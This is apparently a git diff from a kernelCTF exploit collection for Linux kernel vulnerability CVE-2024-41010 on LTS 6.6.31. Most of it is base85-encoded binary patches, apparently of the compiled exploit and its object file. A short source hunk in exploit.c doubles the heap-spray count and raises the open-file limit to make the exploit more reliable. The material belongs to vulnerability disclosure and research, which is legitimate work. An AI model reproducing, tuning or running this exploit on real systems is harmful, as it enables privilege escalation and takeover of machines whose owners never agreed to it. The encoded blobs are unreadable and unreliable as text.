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 F{{e+J9 #include #include +#include #include "rtnetlink.h" #include "bpf.h" @@ -30,7 +31,7 @@ #include "cls.h" #include "log.h" -#define SPRAY 256 +#define SPRAY 512 #define SKBUF_SPRAY 128 #define PIPE_SPRAY SKBUF_SPRAY + 32 @@ -293,6 +294,13 @@ int main(void) char link_name[] = "lo\0"; uint64_t sock; unsigned int link_id; + struct rlimit rlim; + + getrlimit(RLIMIT_NOFILE,&rlim); + if (rlim.rlim_cur < 4096) + rlim.rlim_cur = 4096; + if(setrlimit(RLIMIT_NOFILE,&rlim)<0) + perror("[-] setrlimit"); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/obj/exploit.o index 1f2150392700fd96e6f9e68289bf71c2a18bc7d7..2027e9d1ab94e203d5f648aa3b400563b26547d2 100644 GIT binary patch literal 27904 zcmbt-3w%`7wf;#05)mf&ys4s&cCevJ$b@I8A_Ehd$f$@QD8iV>1Og$6^Wfp5CQU$2 zL(p5FZL#93+N!Nr+bfBPp}enJ5nBbZ!nIccv7q7`bpGF3d+*7blN{UozuVu*Ip;gy zT6^ua*M819cx!3+lI*N3%cLx8tkrdAP|NC^+jTvTFUMIYS_7;jd1rkcm|kkX8o0XD z-W*ud3(o@60`@D@?7w#O#m!ark#&8bG1UCwxT;WVuR#R>Lw3+N+TR&!3;Xizn|=MZ z1bzA0!1v>@S^+HWTylJsI5F(&d;{%TpYMy$ zf;f4D(0D=6PWXyCdehUOuYmPJ=V@9e-@i!Z_Q#>NTHh%Fdm}Ubo$X|J$Uc1J2`zx4o`PI*_<6@E{1o#0kXt^U zky}(zzPpeGJroiq??pMUqmpttr*ZD~H&@xOqeP=a@MLbd4F-hmEzXjK?OwjLk!)PJ zwU;l{3K9RdQ041^cCytzOm=P#`p!O%Iidf(m7{0QQk5_@V1LT4pBB=dpVE;srEmT+ zm2|0NdrQ!McSguQgrXieHI+(Hm0sDAdz@vhqtN3@Wb3{|$+gM``{Pp75rt0&nt-*A z{v7z^n9>QK6?6cwGJKU!(GIVu@+02zd#H*6R&Re2SW^Xg|2Cz#@f)pp{oxDzolS?o zOyyb4spInQ=~UKC^M4+gT4o>9p)!raFe7ghf%Yc&-Grd3EQDQdhZmXIhr{-ve^xnR zV!h8S`|#4ve1RgiPW4fYox-iWt05I}eCY~YM~(|**b5oaGmx(k)Z{}I z)Z9{m^drRH#F=$aPZMez!O&rbzALQY`vLahko^fWZ7l$_Uk90krestsexVs1ko9y{ z@_2uWK~*lQFlV_6P_7L#hs^TEqltKZ<^1}FM8V|1gh{1SBUhJBxvK1n%LiLMKb|rp zGNtVDiTW`_qltpRB@rb&*s85(xr&;)DhVrHbybP_f~&5WFex%6Fg-(qI~bfeC2-kb zYiL8PzH(@MNqp%1Xsj+;J9I&P6`+bJXII}4tt&8yQcO9W7-CGTf(1*wHPt9ibnzJPpqjn{uC1w?KgL_M zc+ld$R#hyq7nRwm-s#K~dr!eUmk zAUR36l0o<)SI;Wn70V#&56dPuqZ_Fe3u8q=R+=* zs41`Y#%s$f;>NC6<-!cRgaXuDMMHJL_{j*XDOXI4gs%t$l?&Ks-W#fF;+0<1nm19o zI1;T(#FkiaTPzxfcGwHA)RtF9HLsvL7L9f>m7>a6eLOy-vb=I`)LUSR0TYIdl{Hg5 zU$N^KMq{<*4P8pSi)s>cz3^@XM?9)rS&6z&AgAh@+64SnKvGa_C~ zz;GS-|591VsviAGrOI?D5M@!1r6_ikqRYSDnmSo8U24!Sy_NN`Sh67z&2ULK0V}AJ zHS>IUu|DZ0SrA=VQ;RyK*6tnZU6`z`(|3ba<43EjLd_sQ6F9mNHzZ=*Y--UTkW;Fn zwb29u(@PrBv}3COKzP^GMQW-Usg0J;_tw=Xltur{w&JcX$i$>@Qb9v~O63Wrd_5WH?x=JB(_s^%0_Ku?t)p$^c^9|G= 